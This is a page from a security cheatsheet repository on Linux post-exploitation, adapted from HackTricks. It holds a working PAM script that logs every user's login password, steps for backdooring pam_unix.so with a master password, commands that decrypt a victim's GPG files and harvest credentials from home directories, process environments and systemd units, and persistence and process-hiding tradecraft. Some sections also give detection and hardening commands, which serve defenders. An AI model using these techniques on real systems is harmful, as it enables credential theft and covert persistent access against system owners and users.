daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (17260B)


      1 ---
      2 title: "Linux Post-Exploitation"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/post-exploitation/linux-post-exploitation/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/post-exploitation/linux-post-exploitation/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Linux Post-Exploitation
     14 
     15 [Trojanized System Daemons And Reverse Proxies](/hacktricks/linux-hardening/post-exploitation/linux-post-exploitation/trojanized-system-daemons-and-reverse-proxies)
     16 
     17 ## Sniffing Logon Passwords with PAM
     18 
     19 Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:
     20 
     21 
     22 [Pam Pluggable Authentication Modules](/hacktricks/linux-hardening/software-information/pam-pluggable-authentication-modules)
     23 
     24 **For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary:<sup>[[8]](#references)</sup>
     25 
     26 **Technique Overview:**
     27 Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.
     28 
     29 **Capturing Credentials:**
     30 
     31 - A bash script named `toomanysecrets.sh` is crafted to log login attempts, capturing the date, username (`$PAM_USER`), password (via stdin), and remote host IP (`$PAM_RHOST`) to `/var/log/toomanysecrets.log`.
     32 - The script is made executable and integrated into the PAM configuration (`common-auth`) using the `pam_exec.so` module with options to run quietly and expose the authentication token to the script.
     33 - The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.
     34 
     35 ```bash
     36 #!/bin/sh
     37 echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
     38 sudo touch /var/log/toomanysecrets.sh
     39 sudo chmod 770 /var/log/toomanysecrets.sh
     40 sudo nano /etc/pam.d/common-auth
     41 # Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
     42 sudo chmod 700 /usr/local/bin/toomanysecrets.sh
     43 ```
     44 
     45 ### Backdooring PAM
     46 
     47 **For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. This is just a summary:<sup>[[9]](#references)</sup>
     48 
     49 The Pluggable Authentication Module (PAM) is a system used under Linux for user authentication. It operates on three main concepts: **username**, **password**, and **service**. Configuration files for each service are located in the `/etc/pam.d/` directory, where shared libraries handle authentication.
     50 
     51 **Objective**: Modify PAM to allow authentication with a specific password, bypassing the actual user password. This is particularly focused on the `pam_unix.so` shared library used by the `common-auth` file, which is included by almost all services for password verification.
     52 
     53 ### Steps for Modifying `pam_unix.so`:
     54 
     55 1. **Locate the Authentication Directive** in the `common-auth` file:
     56    - The line responsible for checking a user's password calls `pam_unix.so`.
     57 2. **Modify Source Code**:
     58    - Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
     59 3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
     60 4. **Testing**:
     61    - Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
     62 
     63 > [!TIP]
     64 > You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
     65 
     66 ## Decrypting GPG loot via homedir relocation
     67 
     68 If you find an encrypted `.gpg` file and a user’s `~/.gnupg` folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup>
     69 
     70 Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir).
     71 
     72 Workflow:
     73 
     74 ```bash
     75 # 1) Stage a writable homedir and copy the victim's keyring
     76 mkdir -p /dev/shm/fakehome/.gnupg
     77 cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
     78 # 2) Ensure ownership & perms are sane for gnupg
     79 chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
     80 chmod 700 /dev/shm/fakehome/.gnupg
     81 # 3) Decrypt using the relocated homedir (either flag works)
     82 GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
     83 # or
     84 gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
     85 ```
     86 
     87 If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
     88 
     89 ## High-value user credential artifacts in HOME
     90 
     91 Besides shell history and SSH keys, these user files frequently expose reusable credentials and tokens:
     92 
     93 - `~/.git-credentials`, `~/.netrc`, `~/.npmrc`, `~/.pypirc`
     94 - `~/.aws/credentials`, `~/.kube/config`, `~/.docker/config.json`, `~/.config/containers/auth.json`
     95 - Desktop keyrings: `~/.local/share/keyrings/`, `~/.kde/share/apps/kwallet/`
     96 - DB/CLI history files: `~/.mysql_history`, `~/.psql_history`, `~/.sqlite_history`
     97 
     98 Quick triage:
     99 
    100 ```bash
    101 ls -la ~ | grep -iE 'history|credential|token|key|secret'
    102 ls -la ~/.ssh ~/.gnupg ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
    103 grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \
    104    ~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
    105 ```
    106 
    107 
    108 ## Harvesting credentials from process environment (containers included)
    109 
    110 When you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement.
    111 
    112 Quick wins
    113 - Dump your current process env: `env` or `printenv`
    114 - Dump another process env: `tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'`
    115   - Add `strings -z /proc/<PID>/environ` if `tr`/`sed` aren’t handy
    116 - In containers, also check PID 1: `tr '\0' '\n' </proc/1/environ`
    117 
    118 What to look for
    119 - App secrets and admin creds (for example, Grafana sets `GF_SECURITY_ADMIN_USER`, `GF_SECURITY_ADMIN_PASSWORD`)<sup>[[1]](#references)</sup>
    120 - API keys, DB URIs, SMTP creds, OAuth secrets
    121 - Proxy and TLS overrides: `http_proxy`, `https_proxy`, `SSL_CERT_FILE`, `SSL_CERT_DIR`
    122 
    123 Notes
    124 - Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
    125 - In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.<sup>[[1]](#references)</sup>
    126 
    127 ## Systemd-stored credentials in unit files (Environment=)
    128 
    129 Services launched by systemd may bake credentials into unit files as `Environment=` entries. Enumerate and extract them:<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
    130 
    131 ```bash
    132 # Unit files and drop-ins
    133 ls -la /etc/systemd/system /lib/systemd/system
    134 # Grep common patterns
    135 sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
    136 # Example of a root-run web panel
    137 # [Service]
    138 # Environment="BASIC_AUTH_USER=root"
    139 # Environment="BASIC_AUTH_PWD=<password>"
    140 # ExecStart=/usr/bin/crontab-ui
    141 # User=root
    142 ```
    143 
    144 Operational artifacts often leak passwords (e.g., backup scripts that call `zip -P <pwd>`). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.
    145 
    146 Hardening
    147 - Move secrets to dedicated secret stores (`systemd-ask-password`, `EnvironmentFile` with locked perms, or external secret managers)
    148 - Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
    149 - Rotate leaked passwords discovered during tests
    150 
    151 ## Cron-based persistence with loopback mutex
    152 
    153 - Copy implants into multiple writable paths (`/tmp`, `/var/tmp`, `/dev/shm`, `/run/lock`) and install cron entries such as `*/5 * * * * /tmp/<bin>` so they respawn even if removed elsewhere.<sup>[[5]](#references)</sup>
    154 - Enforce **single-instance** execution by binding a fixed loopback port (for example, `127.0.0.1:51125` or `127.0.0.1:52225`) and exiting if `bind()` fails; `ss -lntp | grep -E '51125|52225'` will reveal the mutex listener.
    155 - Operators may periodically mass-kill any process whose `cmdline` contains the dropper name (e.g., `init_stop`), so reusing those names during analysis can collide; pick unique filenames.
    156 
    157 ## Process masquerading via prctl + argv overwrite
    158 
    159 - Set the short process name with `prctl(PR_SET_NAME, "<label>")` (15-byte `comm` limit), commonly to `init`, so `/proc/<pid>/status` and GUIs show a benign label.<sup>[[5]](#references)</sup>
    160 - Overwrite the in-memory `argv[0]` buffer after reading `/proc/self/cmdline` length and the `argv[0]` pointer, padding with NULs so `/proc/<pid>/cmdline` and `ps` also show the fake label.
    161 - Hunt by comparing `Name:` in `/proc/<pid>/status` against the real executable path and looking for loopback mutex listeners owned by processes with tiny/blank cmdlines.
    162 
    163 ## Process-event-driven credential interception with `ptrace`
    164 
    165 A post-root interceptor can subscribe to Linux process events through a netlink connector, select newly executed authentication programs, and attach a tracer only when a target appears. The open-source 3snake implementation traces `read`/`write` activity in `sshd` and `sudo`; the same pattern can cover `su`, `doas`, `ssh`, `ssh-add`, `passwd`, `kinit` and `login`, then extract candidate credentials from process memory before encrypting or exfiltrating them. Event-driven attachment is quieter and more reliable than continuously polling `/proc`.<sup>[[10]](#references)[[11]](#references)</sup>
    166 
    167 This requires root or suitable tracing capability/policy, a mounted procfs, and working `ptrace`. A restrictive `kernel.yama.ptrace_scope` reduces unprivileged tracing but does not protect a host from an interceptor that already has root or `CAP_SYS_PTRACE`.<sup>[[10]](#references)[[12]](#references)</sup>
    168 
    169 Hunt for both the process-event subscription and the short-lived attachments. `TracerPid` is only useful while a target is attached, so audit or eBPF telemetry for `ptrace(2)` is much stronger than a one-time snapshot.<sup>[[11]](#references)[[12]](#references)</sup>
    170 
    171 ```bash
    172 sysctl kernel.yama.ptrace_scope
    173 ss -a -f netlink -p                         # Unexpected process-connector subscribers
    174 for p in /proc/[0-9]*/status; do awk '$1=="TracerPid:" && $2!=0 {print FILENAME, $0}' "$p"; done
    175 sudo auditctl -a always,exit -F arch=b64 -S ptrace -k ptrace_watch
    176 sudo auditctl -a always,exit -F arch=b32 -S ptrace -k ptrace_watch 2>/dev/null
    177 sudo ausearch -k ptrace_watch -i
    178 ```
    179 
    180 Prioritize a tracer whose executable path does not match its displayed `comm`/`argv`, attaches to several authentication binaries, or runs under a kernel-thread-looking name from a normal user-space ELF.<sup>[[11]](#references)</sup>
    181 
    182 ## Hiding a process by masking `/proc/<pid>`
    183 
    184 With mount privileges, an implant can bind-mount another directory over its own `/proc/<pid>` subtree. Tools that depend on that procfs entry may then fail to resolve the process executable, command line, maps or descriptors even though the task still runs. This can be combined with `prctl`/`argv` masquerading without loading a kernel module, but the mask is scoped to the mount namespace in which it was created.<sup>[[11]](#references)</sup>
    185 
    186 Inspect the current mount namespace first, then every accessible process mount namespace because `findmnt` alone does not reveal masks isolated elsewhere.<sup>[[11]](#references)</sup>
    187 
    188 ```bash
    189 findmnt -rn -o TARGET,SOURCE,FSTYPE | awk '$1 ~ "^/proc/[0-9]+$"'
    190 grep -HEn ' /proc/[0-9]+ ' /proc/[0-9]*/mountinfo 2>/dev/null
    191 for ns in /proc/[0-9]*/ns/mnt; do readlink "$ns"; done 2>/dev/null | sort | uniq -c
    192 ```
    193 
    194 A per-PID mount is highly unusual. Correlate it with the namespace owner, `readlink /proc/<pid>/exe`, cgroup/unit membership and kernel process telemetry before unmounting it for analysis.<sup>[[11]](#references)</sup>
    195 
    196 ## Kernel-resident passive backdoors via BPF (BPFDoor-style)
    197 
    198 Some Linux backdoors avoid exposing any listening port by attaching a malicious **BPF socket filter** to a raw or packet socket. The implant stays passive, inspects inbound traffic in the kernel path, and only spawns a bind/reverse shell when a controller sends the correct trigger. This means `netstat`, `ss`, and `nmap` can look normal until activation.<sup>[[6]](#references)</sup>
    199 
    200 Common tradecraft patterns:
    201 
    202 - **Split implant/controller model**: the implant only filters traffic and executes the next stage; a separate controller crafts the activation packet and drives the shell.
    203 - **HTTPS-hidden trigger delivery**: newer variants can hide the activation bytes inside normal-looking HTTPS requests so the trigger survives reverse proxies, load balancers, and TLS termination paths.
    204 - **Fixed-offset "magic ruler" checks**: instead of fully parsing HTTP, the controller pads data so a marker such as `9999` lands at a predictable offset. Rapid7 observed `26`-byte rulers with `SOCK_DGRAM` and `40`-byte rulers with `SOCK_RAW`.
    205 - **ICMP relay/control traffic**: compromised hosts can forward commands inside crafted ICMP payloads. A sentinel such as `0xFFFFFFFF` can be used as a "final destination / do not forward" marker.
    206 - **Protocol-aware filtering**: filtering unusual transports such as SCTP moves the implant closer to telecom signaling traffic instead of normal enterprise TCP services.
    207 - **Masquerading**: combine the trapdoor with the `prctl`/`argv[0]` process renaming tricks from the previous section and with daemon-looking PID or lock files.
    208 
    209 Practical hunt from a live host:<sup>[[7]](#references)</sup>
    210 
    211 ```bash
    212 # Raw/packet sockets and attached filters
    213 ss -0pb | egrep -i 'packet|raw'
    214 cat /proc/net/packet
    215 
    216 # Map suspicious PIDs to their real executable and cmdline
    217 for p in /proc/[0-9]*; do
    218   exe=$(readlink "$p/exe" 2>/dev/null)
    219   cmd=$(tr '\0' ' ' < "$p/cmdline" 2>/dev/null)
    220   [ -n "$exe" ] && printf "%s | %s | %s\n" "${p##*/}" "$exe" "$cmd"
    221 done | egrep -i 'agetty|smartd|init|dockerd|hpas'
    222 
    223 # Common environment markers and deleted/fileless execution
    224 grep -aHE 'HOME=/tmp|HISTFILE=/dev/null' /proc/[0-9]*/environ 2>/dev/null
    225 find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null
    226 
    227 # Mutex / pid artifacts often used to prevent double execution
    228 find /var/run /run -maxdepth 1 -type f \( -name '*.pid' -o -name '*.lock' \) \
    229   -size 0c -printf '%m %p\n' 2>/dev/null
    230 
    231 # Persistence paths worth checking after finding a suspicious PID
    232 grep -RInE 'iptables|bpfd|dockerd|hpas|/dev/shm|/var/tmp|/tmp/' \
    233   /etc/systemd /etc/init.d /etc/rc*.d /etc/cron* 2>/dev/null
    234 ```
    235 
    236 If the host supports `bpftool`, also baseline legitimate BPF usage. Unexpected packet filters, raw sockets, or process names that do not match the backing executable are strong post-exploitation signals even when no listening port is visible.<sup>[[7]](#references)</sup>
    237 
    238 ## References
    239 
    240 - [1] [0xdf – HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
    241 - [2] [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
    242 - [3] [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
    243 - [4] [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
    244 - [5] [Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns](https://research.checkpoint.com/2026/inside-gobruteforcer-ai-generated-server-defaults-weak-passwords-and-crypto-focused-campaigns/)
    245 - [6] [Rapid7 Labs - BPFdoor in Telecom Networks: Sleeper Cells in the Backbone](https://www.rapid7.com/blog/post/tr-bpfdoor-telecom-networks-sleeper-cells-threat-research-report/)
    246 - [7] [Rapid7 Labs - Linux BPFDoor Detection Script](https://github.com/rapid7/Rapid7-Labs/tree/main/BPFDoor)
    247 - [8] [Embrace The Red – Post Exploitation: Sniffing Logon Passwords with PAM](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)
    248 - [9] [Creating a Backdoor in PAM in 5 Line of Code](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)
    249 - [10] [3snake - dump sshd and sudo credential-related strings](https://github.com/blendin/3snake)
    250 - [11] [Gaming the System: How a Chinese-Speaking Actor Turned Brazilian Government Sites into an SEO Weapon](https://research.checkpoint.com/2026/gaming-the-system-how-a-chinese-speaking-actor-turned-brazilian-government-sites-into-an-seo-weapon/)
    251 - [12] [`ptrace(2)` Linux manual page](https://man7.org/linux/man-pages/man2/ptrace.2.html)